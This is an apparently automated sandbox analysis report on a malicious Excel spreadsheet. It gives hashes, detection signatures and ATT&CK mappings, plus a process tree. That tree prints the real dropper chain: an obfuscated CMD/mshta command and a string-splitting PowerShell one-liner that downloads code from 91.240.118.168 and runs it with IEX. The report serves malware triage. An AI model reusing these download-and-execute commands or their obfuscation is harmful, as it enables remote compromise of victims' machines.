07e78844f55119ab4d3aa4cf0cc20cbf32b8a82e9cb13215bcf3620502f61551

General

Target

2022-1-28-3810c5b0b0312d5f97be9ab72b1e5b87.xls
Size

47KB
MD5

3810c5b0b0312d5f97be9ab72b1e5b87
SHA1

ab4339d80772e655a4bab9fe01264672355c15d3
SHA256

07e78844f55119ab4d3aa4cf0cc20cbf32b8a82e9cb13215bcf3620502f61551
SHA512

99495d7096ee4c557df437d2cab3611065a1c7a4eac56b7655c9ecae9064be56b71b2274d0a058a1ff24dba57633a83c453550e93d60a5efc4885dbdf329d46b

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2172	3160	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

37 3972 mshta.exe
38 3756 powershell.exe
40 3756 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2112 3972 WerFault.exe mshta.exe

flow	pid	process
37	3972	mshta.exe
38	3756	powershell.exe
40	3756	powershell.exe

pid	pid_target	process	target process
2112	3972	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3160 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
3756	powershell.exe
3756	powershell.exe
3756	powershell.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe
2112	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3756 powershell.exe
Token: SeDebugPrivilege 2112 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeDebugPrivilege	2112	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE
3160	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exe

description	pid	process	target process
PID 3160 wrote to memory of 2172	3160	EXCEL.EXE	CMD.EXE
PID 3160 wrote to memory of 2172	3160	EXCEL.EXE	CMD.EXE
PID 2172 wrote to memory of 3972	2172	CMD.EXE	mshta.exe
PID 2172 wrote to memory of 3972	2172	CMD.EXE	mshta.exe
PID 3972 wrote to memory of 3756	3972	mshta.exe	powershell.exe
PID 3972 wrote to memory of 3756	3972	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-3810c5b0b0312d5f97be9ab72b1e5b87.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3160

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2172

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3756

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3972 -s 1648
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2112

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/3160-115-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3160-116-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3160-117-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3160-118-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3160-119-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/3160-128-0x00007FFDFE4D0000-0x00007FFDFE4E0000-memory.dmp

Filesize
64KB

Download
memory/3160-129-0x00007FFDFE4D0000-0x00007FFDFE4E0000-memory.dmp

Filesize
64KB

Download
memory/3756-869-0x000002A99DDD0000-0x000002A99DDF2000-memory.dmp

Filesize
136KB

Download
memory/3756-876-0x000002A99DE00000-0x000002A99DE02000-memory.dmp

Filesize
8KB

Download
memory/3756-877-0x000002A99DE03000-0x000002A99DE05000-memory.dmp

Filesize
8KB

Download
memory/3756-890-0x000002A99E3D0000-0x000002A99E40C000-memory.dmp

Filesize
240KB

Download
memory/3756-901-0x000002A99E490000-0x000002A99E506000-memory.dmp

Filesize
472KB

Download
memory/3756-906-0x000002A99DE06000-0x000002A99DE08000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads